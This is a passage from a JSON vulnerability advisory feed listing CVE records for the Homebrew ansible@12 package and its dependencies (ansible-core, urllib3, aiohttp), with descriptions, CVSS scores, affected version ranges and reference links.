true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-8775"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8a87e1c5d37422bc99d27ad4237d185cc233e035"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1249"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-8775"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2312119"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jpxc-vmjf-9fcj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.16.13/changelogs/CHANGELOG-v2.16.rst#security-fixes"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.17.6/changelogs/CHANGELOG-v2.17.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2024-9902","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:43:25Z","upstream":["GHSA-32p4-gm2c-wmch","CVE-2024-9902","PYSEC-2026-1121"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.0rc2","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.19.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.19.13","key":"pkg:pypi/ansible-core@2.19.13","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"ansible-core Incorrect Authorization vulnerability","details":"A flaw was found in Ansible. The ansible-core `user` module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the `user` module against the unprivileged user's home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-9902"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03794735d370db98a5ec2ad514fab2b0dd22d6be"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03daf774d0d80fb7235910ed1c2b4fbcaebdfe65"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3b6de811abea0a811e03e3029222a7e459922892"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/9d7312f695639e804d2caeb1d0f51c716a9ac7dd"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f7be90626da3035c697623dcf9c90b7a0bc91c92"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1861"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-9902"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2318271"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2025-14010","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-8ggh-xwr9-3373","CVE-2025-14010","PYSEC-2026-1119"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"12.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Community General Collection is vulnerable to exposure of sensitive information","details":"A flaw was found in ansible-collection-community-general. This vulnerability allows for information exposure (IE) of sensitive credentials, specifically plaintext passwords, via verbose output when running Ansible with debug modes. Attackers with access to logs could retrieve these secrets and potentially compromise Keycloak accounts or administrative access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14010"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/issues/11000"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/08e56bbb9b57740a879d3057d84cdb02a162b840"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-14010"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418774"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/community.general"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/12.2.0/12/CHANGELOG-v12.md#security-fixes"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2025-50181","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0)  # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0))  # equivalent to the above\nhttp = urllib3.PoolManager(retries=False)  # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2025-66418","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2025-66471","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-111063","published":"2026-10-21T08:46:30Z","modified":"2026-10-29T21:29:09Z","upstream":["GHSA-494j-54xm-rwp3","CVE-2026-111063"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Secure attribute not enforced for shared cookie","details":"### Summary\n\nThe Secure attribute was not being enforced for the shared cookie.\n\n### Impact\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted request.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-494j-54xm-rwp3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111063"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/999c356d61e966faffa97b06ab0d0455226d36c5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-111064","published":"2026-10-21T08:46:30Z","modified":"2026-10-21T08:46:30Z","upstream":["GHSA-5wr8-gcqf-gqf3","CVE-2026-111064"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp server lacks an initial request/header timeout","details":"### Summary\n\nThe keepalive timeout was not used during the initial portion of a request.\n\n### Impact\n\nAn attacker could keep an idle connection open indefinitely before sending any data.\n\n### Workaround\n\nUse a reverse proxy (as recommended for all production deployments) with sensible keepalive limits.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5wr8-gcqf-gqf3"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/be846822b4b3a5a54b6163e794b42dc06fba54a3"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-111065","published":"2026-10-21T08:46:30Z","modified":"2026-10-21T08:46:30Z","upstream":["GHSA-6cjc-53gc-5rqm","CVE-2026-111065"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Connector pool exhaustion via Max-Age overflow","details":"### Summary\n\nAn overflow in Max-Age processing can skip closing a connection.\n\n### Impact\n\nAn attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6cjc-53gc-5rqm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111065"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9dd8eaf4e31f1237ef2c1574a8c82a739fca5805"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-111066","published":"2026-10-21T08:46:30Z","modified":"2026-10-21T08:46:30Z","upstream":["GHSA-9xw5-w5jj-pvcg","CVE-2026-111066"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: File descriptor exhaustion in multipart requests","details":"### Summary\n\nAn attacker can exhaust file descriptors with specially crafted multipart requests.\n\n### Impact\n\nIf a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111066"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-111748","published":"2026-10-21T08:46:30Z","modified":"2026-10-21T08:46:30Z","upstream":["GHSA-f9xw-jh8m-3mwq","CVE-2026-111748"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Absolute-form request targets can spoof Request.scheme","details":"### Summary\n\nAn attacker sending an absolute-form request can spoof the scheme used.\n\n### Impact\n\nIf user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.\n\n### Workaround\n\nA WAF rule to reject absolute-form requests (legitimate requests should only use this form for proxies).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-f9xw-jh8m-3mwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111748"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6d4e7b01f9b951aa084a75d7356e907d4ee80411"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-111749","published":"2026-10-21T08:46:30Z","modified":"2026-10-21T08:46:30Z","upstream":["GHSA-gx76-c99x-2c96","CVE-2026-111749"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies","details":"### Summary\n\nA subdomain can remove the Host-Only flag from an existing cookie to a parent domain.\n\n### Impact\n\nA user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gx76-c99x-2c96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111749"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a07c171ef9f3be583e2907dcd1931372efca8d6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-111750","published":"2026-10-21T08:46:30Z","modified":"2026-10-21T08:46:30Z","upstream":["GHSA-pqxq-w44r-73xw","CVE-2026-111750"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request smuggling","details":"### Summary\n\nThe pure Python parser is vulnerable to an HTTP request smuggling attack.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.\n\n### Workaround\n\nSwitch to the default C parser.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pqxq-w44r-73xw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111750"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9b27347e61454d9f8ca2055f4c67a37dee336e83"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-11332","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-w8p5-mx5w-cpqj","CVE-2026-11332","PYSEC-2026-3458"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.19.11rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.19.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.19.13","key":"pkg:pypi/ansible-core@2.19.13","resource":"ansible-core"}]},"summary":"ansible-core: Argument injection in ansible-galaxy role install leads to arbitrary code execution","details":"A flaw was found in ansible-core. The ansible-galaxy role install command processes dependency specifications from a role's meta/requirements.yml file. Due to improper neutralization of argument delimiters, a malicious role author can inject arbitrary git configuration flags through the src field. This allows arbitrary code execution on the machine of a user who installs the role via ansible-galaxy role install.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/87070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edee59aa15abcc74d920bb3e9c3835ab8db05a2f"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-11332"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-11332.json"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-114605","published":"2026-10-29T21:29:09Z","modified":"2026-11-13T08:41:36Z","upstream":["GHSA-45c3-73f7-pv4m","CVE-2026-114605"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.0","resource":"dnspython","resource_purl":"pkg:pypi/d